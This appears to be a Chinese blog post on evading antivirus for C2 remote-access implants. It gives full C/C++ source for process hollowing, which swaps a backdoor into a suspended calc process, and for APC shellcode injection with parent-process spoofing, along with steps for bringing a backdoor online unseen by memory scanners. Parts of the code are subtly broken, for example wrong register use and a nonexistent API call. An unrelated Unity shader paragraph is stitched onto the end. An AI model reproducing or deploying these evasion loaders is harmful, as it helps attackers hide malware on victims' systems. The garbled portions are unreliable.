【免杀】C2远控-APC注入-进程镂空

进程镂空&傀儡进程(主要过内存扫描)

进程镂空(Process Hollowing)
是一种防御规避的进程注入技术,以红队隐匿技能为主的辅助免杀手法

代码
#include <stdio.h>
#include <Windows.h>

typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);

int main(int argc, wchar_t* argv[])
{
	IN PIMAGE_DOS_HEADER pDosHeaders;
	IN PIMAGE_NT_HEADERS pNtHeaders;
	IN PIMAGE_SECTION_HEADER pSectionHeaders;

	IN PVOID FileImage;

	IN HANDLE hFile;
	OUT DWORD FileReadSize;
	IN DWORD dwFileSize;

	IN PVOID RemoteImageBase;
	IN PVOID RemoteProcessMemory;




	STARTUPINFOA si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	CONTEXT ctx;
	ctx.ContextFlags = CONTEXT_FULL;
	si.cb = sizeof(si);


	char path[] = "HelloWorld.exe";
	BOOL bRet = CreateProcessA(
		NULL,
		(LPSTR)"calc",
		NULL,
		NULL,
		FALSE,
		CREATE_SUSPENDED,
		NULL,
		NULL,
		&si,
		&pi);

	//在本进程获取替换文件的内容
	hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	dwFileSize = GetFileSize(hFile, NULL); //获取替换可执行文件的大小
	FileImage = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	ReadFile(hFile, FileImage, dwFileSize, &FileReadSize, NULL);
	CloseHandle(hFile);

	pDosHeaders = (PIMAGE_DOS_HEADER)FileImage;
	pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)FileImage + pDosHeaders->e_lfanew); //获取NT头

	GetThreadContext(pi.hThread, &ctx); //获取挂起进程上下文

#ifdef _WIN64
	ReadVirtualMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &RemoteImageBase, sizeof(PVOID), NULL);
	// 从rbx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
#endif
	// 从ebx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
#ifdef _X86_
	ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &RemoteImageBase, sizeof(PVOID), NULL);
#endif

	//判断文件预期加载地址是否被占用
	pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
	if ((SIZE_T)RemoteImageBase == pNtHeaders->OptionalHeader.ImageBase)
	{
		NtUnmapViewOfSection(pi.hProcess, RemoteImageBase); //卸载已存在文件
	}

	//为可执行映像分配内存,并写入文件头
	RemoteProcessMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNtHeaders->OptionalHeader.ImageBase, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(pi.hProcess, RemoteProcessMemory, FileImage, pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);

	//逐段写入
	for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
	{
		pSectionHeaders = (PIMAGE_SECTION_HEADER)((LPBYTE)FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
		WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)RemoteProcessMemory + pSectionHeaders->VirtualAddress), (PVOID)((LPBYTE)FileImage + pSectionHeaders->PointerToRawData), pSectionHeaders->SizeOfRawData, NULL);
	}

	//将rax寄存器设置为注入软件的入口点
#ifdef _WIN64
	ctx.Rcx = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
	WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
#endif

	//将eax寄存器设置为注入软件的入口点
#ifdef _X86_
	ctx.Eax = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
	WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
#endif


	SetThreadContext(pi.hThread, &ctx); // 设置线程上下文
	ResumeThread(pi.hThread); // 恢复挂起线程

	CloseHandle(pi.hThread);
	CloseHandle(pi.hProcess);
	return 0;
}

1.创建一个挂起合法进程
2.读取执行代码
3.获取挂起进程上下文与环境信息
4.卸载挂起进程内存
5.写入执行代码
6.恢复挂起进程

傀儡进程演示
  • 将代码生成的程序打开,并用进程监控工具进行监控
    刚打开时会发现存在有这个进程。project1.exe

    然后等一下就发现它不见了。其实是变成了cmd.exe(变成什么进程我们是可以在代码里面控制的)

    控制的代码位置
如何上线
  • 这里有两种上线方式,一直是用后门程序,一种是用后门代码

    后门程序: 将你的后门程序写入代码中,让它去运行,如这里是HelloWorld.exe
    后门代码: 将你的后门代码写在这里
    这里推荐第二种方式(第一种必须要满足 两个程序都要实现免杀才行)
上线演示
  • 先生成一个上线程序
  • 将上线后门改成 HelloWorld.exe 与代码当中一样,和代码程序放在同一个目录
  • 运行 project1.exe,会发现已经上线,且进程里面没有project.exe 只有一个傀儡进程cmd.exe

APC注入&进程欺骗(主要过内存扫描)

APC全称为Asynchronous Procedure Call,叫异步过程调用,
是指函数在特定线程中被异步执行,在操作系统中是并发机制。

同步调用与异步调用

同步调用:
我们需要去烧水,首先我们先去需 要给水壶添水,然后将水壶连接上电之后,然后加热,等水烧开了然后取水,在烧水的等待的时间中,我们不去做任何事情。这就是同步。
异步调用:
就是我们在烧水的等待的过程中去干一些其他的事情,比如玩手机,打扫卫生等等。

流程
1、获取父进程PID
2、获取当前进程权限
3、创建并分配写入内存
4、写入SC并APC进行调用
APC注入 配合进程注入实现父进程欺骗

代码
// Parent spoofing.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
#include <fstream>
using namespace std;
DWORD getParentProcessID()
{
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 process = { 0 };
    process.dwSize = sizeof(process);
    if (Process32First(snapshot, &process))
    {
        do
        {
            if (!wcscmp(process.szExeFile, L"explorer.exe"))
            {
                printf("Find explorer failed!\n");
                break;
            }
        } while (Process32Next(snapshot, &process));
    }
    CloseHandle(snapshot);
    return process.th32ProcessID;
}
int main()
{
    unsigned char shellCode[] = "你的shellcode";

   
  
    
    STARTUPINFOEXA sInfoEX;
    PROCESS_INFORMATION pInfo;
    SIZE_T sizeT;
    //打开explorer进程获取当前进程所有权限
    HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID());
    //用0填充数组
    ZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA));
    //初始化指定的属性列表,创建进程和线程
    InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);
    //设置进程属性并从堆中分配内存
    sInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT);
    InitializeProcThreadAttributeList(sInfoEX.lpAttributeList, 1, 0, &sizeT);
    //更新用于进程和线程创建的属性列表中的指定属性
    UpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL);

    sInfoEX.StartupInfo.cb = sizeof(STARTUPINFOEXA);
    CreateProcessA("C:\\Windows\\System32\\notepad.exe",
        NULL,
        NULL,
        NULL,
        TRUE,
        CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT,
        NULL,
        NULL,
        reinterpret_cast<LPSTARTUPINFOA>(&sInfoEX),
        &pInfo);
    //分配内存
    LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pInfo.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    SIZE_T* lpNumberOfBytesWritten = 0;
    //写入内存
    BOOL resWPM = WriteProcessMemory(pInfo.hProcess, lpBaseAddress, (LPVOID)shellCode, sizeof(shellCode), lpNumberOfBytesWritten);
    // APC调用
    QueueUserAPC((PAPCFUNC)lpBaseAddress, pInfo.hThread, NULL);
    //启动线程
    ResumeThread(pInfo.hThread);
    CloseHandle(pInfo.hThread);
    return 0;
}
演示
  • 写入shellcode并生成程序
  • 这里我生成的程序是 project3.exe,执行程序,并用进程监控软件进行监控

    执行后会发现直接就是 notepad.exe,并没有像进程镂空那样先显示 Project1.exe 再转换为傀儡进程
Unity中实现具有动画效果的圆形镂空遮罩,关键在于掌握片元着色器(Fragment Shader)的应用。通过定义遮罩的位置、大小以及动画的变化,我们可以创建出引人注目的视觉效果。具体步骤如下: 参考资源链接:[Unity新手引导:镂空遮罩与动画Shader实现详解](https://wenku.csdn.net/doc/e0erfk9ejz?spm=1055.2569.3001.10343) 首先,定义圆形镂空遮罩的核心参数,包括中心点(_Center),半径(_Radius),过渡范围(_TransitionRange),以及当前时间(Time.timeSinceLevelLoad)。 接着,在片元着色器中,使用`distance`函数计算片元的世界坐标(IN.worldPosition.xy)与中心点之间的距离(dis)。然后利用`clip`函数进行条件判断,仅保留那些距离大于半径减去过渡范围的片元,其余片元被剪切掉。 为了实现动画效果,需要在着色器中加入时间变量(Time.timeSinceLevelLoad),并结合总动画时长(_TotalTime)和减少时间(_ReduceTime),计算出当前动画的进程时间(processTime)。根据这个值,调整alpha值的变化,以实现动画效果。 `step`函数可以在指定的阈值处突然改变alpha值,当片元在圆心的指定距离之内时,alpha值可以逐渐降低,实现一个平滑的过渡效果。 示例代码可能如下所示(代码片段、概念解释、可能遇到的问题与解决方案,此处略)。 综上所述,通过细致地制遮罩参数和动画进程,可以在Unity中实现具有动态效果的圆形镂空遮罩。学习和实践这些技术可以显著提升游戏或应用的视觉层次。为了更深入地了解和掌握Unity Shader的使用,建议参考《Unity新手引导:镂空遮罩与动画Shader实现详解》。该资源提供了详细的解释和代码示例,适合想要深入学习Unity Shader技术并应用于实际项目的开发者。 参考资源链接:[Unity新手引导:镂空遮罩与动画Shader实现详解](https://wenku.csdn.net/doc/e0erfk9ejz?spm=1055.2569.3001.10343)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值